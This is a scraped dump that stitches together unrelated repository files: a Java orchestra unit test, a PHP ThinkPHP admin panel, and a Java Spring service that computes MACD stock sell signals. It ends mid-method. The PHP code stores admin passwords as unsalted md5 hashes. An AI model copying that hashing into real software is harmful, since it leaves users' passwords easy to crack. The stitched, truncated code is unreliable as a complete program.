assertEquals("Brass", horn2.getSection());
}
@Test
public void getManufacturer(){
assertEquals("Conn", horn2.getManufacturer());
}
@Test
public void soundMade(){
assertEquals("Soaring melodies", horn2.sound());
}
@Test
public void getContractType(){
assertEquals("Pay per session", horn2.contract());
}
@Test
public void canGetPosition(){
assertEquals(RankType.SUBPRINCIPAL, horn2.getRank());
}
@Test
public void canGetSalary(){
assertEquals(40000, horn2.getSalary());
}
@Test
public void canGetStartDate(){
assertEquals(startDate, horn2.getStartDate());
}
}
| 520cc333d5801955cf686c0f9db5259de4ced549 | [
"Markdown",
"Java"
] | 8 | Markdown | quentincrida/CCSymphonyOrchestra | 1f4dc4fab6b953ba2b169d3d8471a9219a1a8c5a | 18a6772acd2d2d83674465875e927965df09362b |
refs/heads/master | <repo_name>baireey/vagrant<file_sep>/application/admin/controller/Admin.php
<?php
namespace app\admin\controller;
use think\Controller;
use think\Db;
use think\Loader;
use app\admin\model\Admin as AdminModel;
class Admin extends Controller{
public function lst(){
$list = AdminModel::paginate(3);
$this->assign('list',$list);
return $this->fetch();
}
public function add(){
if(request()->isPost()){
$data = [
'username' => input('username'),
'password' => md5(input('password')),
];
$validate = Loader::validate('Admin');
if(!$validate->scene('add')->check($data)){
$this->error($validate->getError());
}
if(Db::name('admin')->insert($data)) {
return $this->success('添加管理员成功', 'lst');
}else{
return $this->error('添加失败');
}
}
return $this->fetch();
}
public function edit(){
$id=input('id');
$admins=db('admin')->find($id);
if(request()->isPost()){
$data=[
'id'=>input('id'),
'username'=>input('username'),
];
if(input('password')){
$data['password']=md5(input('password'));
}else{
$data['password']=$admins['<PASSWORD>'];
}
$validate = Loader::validate('Admin');
if(!$validate->scene('edit')->check($data)){
$this->error($validate->getError());
}
$save=db('admin')->update($data);
if($save !== false){
$this->success('修改管理员成功!','lst');
}else{
$this->error('修改管理员失败!');
}
return;
}
$this->assign('admins',$admins);
return $this->fetch();
}
public function del(){
$id=input('id');
if($id!=21){
if (db('admin')->delete(input('id'))){
$this->success('删除成功','lst');
}else{
$this->error('删除失败');
}
}else{
$this->error('初始化管理员不能被删除');
}
}
public function logout(){
session(null);
$this->success('退出成功','login/index');
}
}
<file_sep>/application/admin/controller/Index.php
<?php
namespace app\admin\controller;
use think\Controller;
class Index extends Controller{
public function index(){
if(!session('username')){
$this->error('未登录','login/index',2);
}
return $this->fetch();
}
}
<file_sep>/application/admin/validate/Cate.php
<?php
/**
* _ooOoo_
* o8888888o
* 88" . "88
* (| -_- |)
* O\ = /O
* ___/`---'\____
* . ' \\| |// `.
* / \\||| : |||// \
* / _||||| -:- |||||- \
* | | \\\ - /// | |
* | \_| ''\---/'' | |
* \ .-\__ `-` ___/-. /
* ___`. .' /--.--\ `. . __
* ."" '< `.___\_<|>_/___.' >'"".
* | | : `- \`.;`\ _ /`;.`/ - ` : | |
* \ \ `-. \_ __\ /__ _/ .-` / /
* ======`-.____`-.___\_____/___.-`____.-'======
* `=---='
* .............................................
* 佛曰:bug泛滥,我已瘫痪!
*/
namespace app\admin\validate;
use think\Validate;
class Cate extends Validate
{
protected $rule = [
'catename' => 'require|unique:cate',
];
protected $message = [
'catename.require' => '栏目名称必须填写',
'catename.unique' => '栏目名称不得重复',
];
protected $scene = [
'add' => ['catename'=>'require|unique:cate'],
'edit' => ['catename'=>'require|unique:cate'],
];
}<file_sep>/application/admin/config.php
<?php
return[
'view_replace_str' => [
'__PUBLIC__'=>SITF_URL.'/static/admin',
'__IMG__'=>SITF_URL.'/static',
],
];
<file_sep>/application/admin/controller/Login.php
<?php
/**
* Created by PhpStorm.
* User: BL
* Date: 2018-8-1
* Time: 22:08
*/
namespace app\admin\controller;
use think\Controller;
use app\admin\model\Admin;
class Login extends Controller
{
public function index(){
if(request()->isPost()){
$admin = new Admin();
$data = input('post.');
$num = $admin->login($data);
if($num==3){
$this->success('信息正确','index/index');
}elseif($num==4){
$this->success('验证码错误');
}else{
$this->success('用户名或密码错误');
}
}
return $this->fetch('login');
}
}<file_sep>/application/admin/validate/Links.php
<?php
/**
* _ooOoo_
* o8888888o
* 88" . "88
* (| -_- |)
* O\ = /O
* ___/`---'\____
* . ' \\| |// `.
* / \\||| : |||// \
* / _||||| -:- |||||- \
* | | \\\ - /// | |
* | \_| ''\---/'' | |
* \ .-\__ `-` ___/-. /
* ___`. .' /--.--\ `. . __
* ."" '< `.___\_<|>_/___.' >'"".
* | | : `- \`.;`\ _ /`;.`/ - ` : | |
* \ \ `-. \_ __\ /__ _/ .-` / /
* ======`-.____`-.___\_____/___.-`____.-'======
* `=---='
* .............................................
* 佛曰:bug泛滥,我已瘫痪!
*/
namespace app\admin\validate;
use think\Validate;
class Links extends Validate{
protected $rule = [
'title' => 'require',
'url' => 'require',
'desc' => 'require'
];
protected $message = [
'title.require' => '链接名必须填写',
'url.require' => '链接地址必须填写',
'desc.require' => '链接说明必须填写'
];
protected $scene = [
'add' => ['title'=>'require','url'=>'require','desc'=>'require'],
'edit' => ['title'=>'require','url'=>'require','desc'=>'require']
];
}
<file_sep>/application/index/config.php
<?php
return[
'view_replace_str' => [
'__PUBLIC__'=>SITF_URL.'/static/index',
],
];
<file_sep>/application/admin/validate/Admin.php
<?php
/**
* _ooOoo_
* o8888888o
* 88" . "88
* (| -_- |)
* O\ = /O
* ___/`---'\____
* . ' \\| |// `.
* / \\||| : |||// \
* / _||||| -:- |||||- \
* | | \\\ - /// | |
* | \_| ''\---/'' | |
* \ .-\__ `-` ___/-. /
* ___`. .' /--.--\ `. . __
* ."" '< `.___\_<|>_/___.' >'"".
* | | : `- \`.;`\ _ /`;.`/ - ` : | |
* \ \ `-. \_ __\ /__ _/ .-` / /
* ======`-.____`-.___\_____/___.-`____.-'======
* `=---='
* .............................................
* 佛曰:bug泛滥,我已瘫痪!
*/
namespace app\admin\validate;
use think\Validate;
class Admin extends Validate{
protected $rule = [
'username' => 'require|unique',
'password' => '<PASSWORD>'
];
protected $message = [
'username.require' => '管理员名称必须填写',
'username.unique' => '管理员名称不得重复',
'password.require' => '<PASSWORD>'
];
protected $scene = [
'add' => ['username'=>'require|unique:admin','password'],
'edit' => ['username'=>'require']
];
}
| c0082e3d0760c3c63294d83988fc0ca5eb9423a5 | [
"PHP"
] | 8 | PHP | baireey/vagrant | 454cb86603d5261a8ff0649fed6eebc1e456a634 | 6e9e94517530b4b862e3d765fd4dfd1589b5facb |
refs/heads/master | <file_sep>package Homework1;
import java.util.HashMap;
public class UniqueHashMap extends HashMap {
public void putUniq(String key) {
Integer val = 0;
if (this.containsKey(key)) {
val = Integer.parseInt(this.get(key).toString());
}
this.put(key, new Integer(val.intValue() + 1));
}
}
| 531467bca80715077b4226f0a4a68baba3ac6bce | [
"Java"
] | 1 | Java | AlexeySolovyev/GeekBrains_JavaCore_Lesson3 | 89ec583516efc779054add5c300646fe6c6c8bc7 | 26d82672456fe4067f7cb5f0d07df677e1049b17 |
refs/heads/main | <repo_name>ValeriyZoloto/Recruta-landing-page<file_sep>/app/js/main.js
$(function () {
//авто-закрытие мобильного меню
$(".burger, .menu__item a").on("click", function () {
$(".menu").toggleClass("menu--active"),
$(".burger").toggleClass("burger--active");
});
$(".scroll").click(function (event) {
console.log(11111);
event.preventDefault();
$("html").animate({ scrollTop: 0 }, 1500);
});
$(".menu a, header a").on("click", function (e) {
e.preventDefault();
const id = $(this).attr("href"),
top = $(id).offset().top;
$("body,html").animate({ scrollTop: top }, 1500);
});
$(".header__btn").on("click", function () {
$(".form").addClass("form--active");
});
$(".header__tel-img").on("click", function () {
console.log("клик по кнопке");
$(".form").addClass("form--active");
});
$(".form__close").on("click", function () {
$(".form").removeClass("form--active");
});
});
<file_sep>/docs/html/parts/_team.html
<section class="team" id="team">
<div class="container">
<div class="team__top">
<div class="team__content">
<a class="logo team__logo" href="index.html">
<picture class="logo__picture">
<source srcset="images/logo/logo.webp" type="image/webp">
<source srcset="images/logo/logo.png" type="image/png">
<img class="logo__img logo__img--team" src="images/logo/logo.webp" width="85"
height="59" alt="Логотип ком">
</picture>
</a>
<h2 class="title team__title">
Ваша личная online команда юристов
</h2>
<p>
Мы предоставляем комплексный консалтинговый сервис с полисной системой
обслуживания для частных клиентов и для бизнеса, с использованием новейших
цифровых технологий.
</p>
</div>
<div class="team__cards">
<ul class="team__row">
<li class="team__card">
<span class="team__card-label team__card-label--first">
100+ <span class="team__card-litle">тыс</span>
</span>
<p class="team__card-text">
Клиентов <br>
по всему миру
</p>
</li>
<li class="team__card">
<span class="team__card-label team__card-label--second">
15 <span class="team__card-litle">лет</span>
</span>
<p class="team__card-text">
Юридической <br>
практики
</p>
</li>
</ul>
<ul class="team__row-second">
<li class="team__card-second">
<span class="team__card-label team__card-label--third">
50+
</span>
<p class="team__card-text">
Опытных <br>
юристов в штате
</p>
</li>
<li class="team__card-second">
<span class="team__card-label team__card-label--fours">
SIRIUS
</span>
<p class="team__card-text">
Система на базе<br>
искусственного <br>
интеллекта
</p>
</li>
</ul>
</div>
</div>
<div class="team__bottom">
<h3 class="team__bottom-title">Даём поддержку</h3>
<ul class="team__bottom-list">
<li class="team__bottom-item">
<a class="team__bottom-link" href="#">
<picture class="team__bottom-picture">
<source srcset="images/team/team1.webp" type="image/webp">
<source srcset="images/team/team1.png" type="image/png">
<img class="team__bottom-img team__bottom-img--first"
src="images/team/team1.webp" width="159" height="128"
alt="Изображение рабочий стол">
</picture>
<h4 class="team__bottom-name">Бизнесу</h4>
<p>
Услуги профессиональных юристов для вашей компании по фиксированному тарифу
—
это в несколько раз выгоднее, чем содержать свой штат.
</p>
</a>
</li>
<li class="team__bottom-item">
<a class="team__bottom-link" href="#">
<picture class="team__bottom-picture">
<source srcset="images/team/team2.webp" type="image/webp">
<source srcset="images/team/team2.png" type="image/png">
<img class="team__bottom-img team__bottom-img--second"
src="images/team/team2.webp" width="166" height="129" alt="StartUP
проектам">
</picture>
<h4 class="team__bottom-name ">StartUP проектам</h4>
<p>
Эксперты ILC помогут выбрать оптимальную правовую форму
для ведения бизнеса, оптимизировать налоги и подготовить необходимый пакет
документов.
</p>
</a>
</li>
<li class="team__bottom-item">
<a class="team__bottom-link" href="#">
<picture class="team__bottom-picture">
<source srcset="images/team/team3.webp" type="image/webp">
<source srcset="images/team/team3.png" type="image/png">
<img class="team__bottom-img team__bottom-img--thirt"
src="images/team/team3.webp" width="161" height="128" alt="Частным
клиентам">
</picture>
<h4 class="team__bottom-name">Частным клиентам</h4>
<p>
Оперативные решения сложных вопросов в режиме онлайн: ДТП, наследство,
страховые споры, земельные и имущественные процессы, защита прав.
</p>
</a>
</li>
</ul>
</div>
</div>
</section> | 1fa09a44d67f86f875557a42ea4d3908de0e27de | [
"JavaScript",
"HTML"
] | 2 | JavaScript | ValeriyZoloto/Recruta-landing-page | 6136dcc26145e7aa1321d116bf186f9ed1be8e19 | 9bc530a65218e2ee5bcfd09b1806e326abc4878b |
refs/heads/master | <file_sep>package com.marketwinks.marketsignals;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class MarketsignalsApplication {
public static void main(String[] args) {
SpringApplication.run(MarketsignalsApplication.class, args);
}
}
<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.uk_lse_monthlybuys;
@Repository
public interface UK_LSE_MonthlyBuyRepository extends MongoRepository<uk_lse_monthlybuys, String> {
}<file_sep>package com.marketwinks.marketsignals.model;
import org.bson.types.ObjectId;
import org.springframework.data.annotation.Id;
//Entity
//@Document(collection = "_5MinSell")
public class uk_lse_5minsells {
@Id
public ObjectId _id;
private int month;
private int year;
private String company;
private String indicator;
private double confidence_level;
private String lastSellEvent;
private double lastSellPrice;
private String lastEvent;
private boolean isLastEventSell;
private double lastEventPrice;
private double lasttradedprice;
// ObjectId needs to be converted to string
public String get_id() {
return _id.toHexString();
}
public void set_id(ObjectId _id) {
this._id = _id;
}
public int getMonth() {
return month;
}
public void setMonth(int month) {
this.month = month;
}
public int getYear() {
return year;
}
public void setYear(int year) {
this.year = year;
}
public String getCompany() {
return company;
}
public void setCompany(String company) {
this.company = company;
}
public String getIndicator() {
return indicator;
}
public void setIndicator(String indicator) {
this.indicator = indicator;
}
public double getConfidence_level() {
return confidence_level;
}
public void setConfidence_level(double confidence_level) {
this.confidence_level = confidence_level;
}
public String getLastSellEvent() {
return lastSellEvent;
}
public void setLastSellEvent(String sell_opportunity) {
this.lastSellEvent = sell_opportunity;
}
public double getLastSellPrice() {
return lastSellPrice;
}
public void setLastSellPrice(double lastSellPrice) {
this.lastSellPrice = lastSellPrice;
}
public String getLastEvent() {
return lastEvent;
}
public void setLastEvent(String last_opportunity) {
this.lastEvent = last_opportunity;
}
public boolean isLastEventSell() {
return isLastEventSell;
}
public void setLastEventSell(boolean isLastEventSell) {
this.isLastEventSell = isLastEventSell;
}
public double getLastEventPrice() {
return lastEventPrice;
}
public void setLastEventPrice(double lastEventPrice) {
this.lastEventPrice = lastEventPrice;
}
/**
* @return the lasttradedprice
*/
public double getLasttradedprice() {
return lasttradedprice;
}
/**
* @param lasttradedprice the lasttradedprice to set
*/
public void setLasttradedprice(double lasttradedprice) {
this.lasttradedprice = lasttradedprice;
}
}
<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_weeklybuys;
@Repository
public interface US_WeeklyBuyRepository extends MongoRepository<us_weeklybuys, String> {
}<file_sep>package com.marketwinks.marketsignals.services;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.ParseException;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
import org.patriques.AlphaVantageConnector;
import org.patriques.TechnicalIndicators;
import org.patriques.input.technicalindicators.Interval;
import org.patriques.input.technicalindicators.SeriesType;
import org.patriques.input.technicalindicators.TimePeriod;
import org.patriques.output.AlphaVantageException;
import org.patriques.output.technicalindicators.MACD;
import org.patriques.output.technicalindicators.data.MACDData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.mongodb.core.MongoTemplate;
import org.springframework.data.mongodb.core.query.Criteria;
import org.springframework.data.mongodb.core.query.Query;
import org.springframework.data.mongodb.core.query.Update;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import com.marketwinks.marketsignals.model.uk_lse_15minbuys;
import com.marketwinks.marketsignals.model.uk_lse_15minsells;
import com.marketwinks.marketsignals.model.uk_lse_30minbuys;
import com.marketwinks.marketsignals.model.uk_lse_30minsells;
import com.marketwinks.marketsignals.model.uk_lse_5minbuys;
import com.marketwinks.marketsignals.model.uk_lse_5minsells;
import com.marketwinks.marketsignals.model.uk_lse_dailybuys;
import com.marketwinks.marketsignals.model.uk_lse_dailysells;
import com.marketwinks.marketsignals.model.uk_lse_hourlybuys;
import com.marketwinks.marketsignals.model.uk_lse_hourlysells;
import com.marketwinks.marketsignals.model.uk_lse_monthlybuys;
import com.marketwinks.marketsignals.model.uk_lse_monthlysells;
import com.marketwinks.marketsignals.model.uk_lse_weeklybuys;
import com.marketwinks.marketsignals.model.uk_lse_weeklysells;
import com.marketwinks.marketsignals.model.us_15minsells;
import com.marketwinks.marketsignals.model.us_30minsells;
import com.marketwinks.marketsignals.model.us_5minsells;
import com.marketwinks.marketsignals.model.us_dailysells;
import com.marketwinks.marketsignals.model.us_hourlysells;
import com.marketwinks.marketsignals.model.us_monthlysells;
import com.marketwinks.marketsignals.model.us_weeklysells;
import com.marketwinks.marketsignals.repository.UK_LSE_15MinSellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_30MinSellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_5MinSellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_DailySellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_HourlySellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_MonthlySellRepository;
import com.marketwinks.marketsignals.repository.UK_LSE_WeeklySellRepository;
import com.marketwinks.marketsignals.repository.US_15MinSellRepository;
import com.marketwinks.marketsignals.repository.US_30MinSellRepository;
import com.marketwinks.marketsignals.repository.US_5MinSellRepository;
import com.marketwinks.marketsignals.repository.US_DailySellRepository;
import com.marketwinks.marketsignals.repository.US_HourlySellRepository;
import com.marketwinks.marketsignals.repository.US_MonthlySellRepository;
import com.marketwinks.marketsignals.repository.US_WeeklySellRepository;
import com.mongodb.client.MongoClient;
import com.mongodb.client.MongoClients;
@RestController
@RequestMapping("/baseURL")
public class SellMACDFinder {
@Autowired
private US_MonthlySellRepository monthlysellsRepository;
@Autowired
private US_WeeklySellRepository weeklysellsRepository;
@Autowired
private US_DailySellRepository dailysellsRepository;
@Autowired
private US_HourlySellRepository hourlySellRepository;
@Autowired
private US_5MinSellRepository __5MinSellRepository;
@Autowired
private US_15MinSellRepository __15MinSellRepository;
@Autowired
private US_30MinSellRepository __30MinSellRepository;
@Autowired
private UK_LSE_5MinSellRepository UK_LSE__5MinSellRepository;
@Autowired
private UK_LSE_15MinSellRepository UK_LSE__15MinSellRepository;
@Autowired
private UK_LSE_30MinSellRepository UK_LSE__30MinSellRepository;
@Autowired
private UK_LSE_HourlySellRepository UK_LSE__HourlySellRepository;
@Autowired
private UK_LSE_DailySellRepository UK_LSE__DailySellRepository;
@Autowired
private UK_LSE_WeeklySellRepository UK_LSE__WeeklySellRepository;
@Autowired
private UK_LSE_MonthlySellRepository UK_LSE__MonthlySellRepository;
// uk 5 mins, 15 mins, 30 mins, hourly, daily, weekly, monthly remaining
@RequestMapping(value = "/findMarketSignals/MACD/Monthly/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACDMonthlySELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("MONTHLY SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.MONTHLY, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 2 here and counter>5 since its
// monthly
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1.5) {
// TODO: experimental: signal average*1.5 maintained
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_monthlysells monthlysells = new us_monthlysells();
monthlysells.setMonth(new java.util.Date().getMonth());
monthlysells.setYear(new java.util.Date().getYear());
monthlysells.setCompany(company);
monthlysells.setIndicator("LIVE");
monthlysells.setConfidence_level(confidence_level);
monthlysells.setLastSellEvent(sell_opportunity);
monthlysells.setLastSellPrice(0.0);
monthlysells.setLastEvent(last_opportunity);
monthlysells.setLastEventSell(isLastEventSell);
monthlysells.setLastEventPrice(0.0);
// TO DO price need to be populated
us_monthlysells saveresult = monthlysellsRepository.insert(monthlysells);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Weekly/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACDWeeklySELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("WEEKLY SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.WEEKLY, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 5 here and counter>8 since its
// monthly
if (counter > 8 && counter - sell_counter >= 5 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1.5) {
// TODO: experimental: signal average*1.5 maintained
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_weeklysells weeklysells = new us_weeklysells();
weeklysells.setMonth(new java.util.Date().getMonth());
weeklysells.setYear(new java.util.Date().getYear());
weeklysells.setCompany(company);
weeklysells.setIndicator("LIVE");
weeklysells.setConfidence_level(confidence_level);
weeklysells.setLastSellEvent(sell_opportunity);
weeklysells.setLastSellPrice(0.0);
weeklysells.setLastEvent(last_opportunity);
weeklysells.setLastEventSell(isLastEventSell);
weeklysells.setLastEventPrice(0.0);
// TO DO price need to be populated
us_weeklysells saveresult = weeklysellsRepository.insert(weeklysells);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Daily/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACDDailySELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("DAILY SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.DAILY, TimePeriod.of(10), SeriesType.CLOSE, null,
null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 10 here and counter>15 since its
// daily
if (counter > 10 && counter - sell_counter >= 15 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1.5) {
// TODO: experimental: signal average*1.5 maintained
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_dailysells dailysells = new us_dailysells();
dailysells.setMonth(new java.util.Date().getMonth());
dailysells.setYear(new java.util.Date().getYear());
dailysells.setCompany(company);
dailysells.setIndicator("LIVE");
dailysells.setConfidence_level(confidence_level);
dailysells.setLastSellEvent(sell_opportunity);
dailysells.setLastSellPrice(0.0);
dailysells.setLastEvent(last_opportunity);
dailysells.setLastEventSell(isLastEventSell);
dailysells.setLastEventPrice(0.0);
// TO DO price need to be populated
us_dailysells saveresult = dailysellsRepository.insert(dailysells);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Hourly/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACDHourlySELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("HOURLY SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.SIXTY_MIN, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
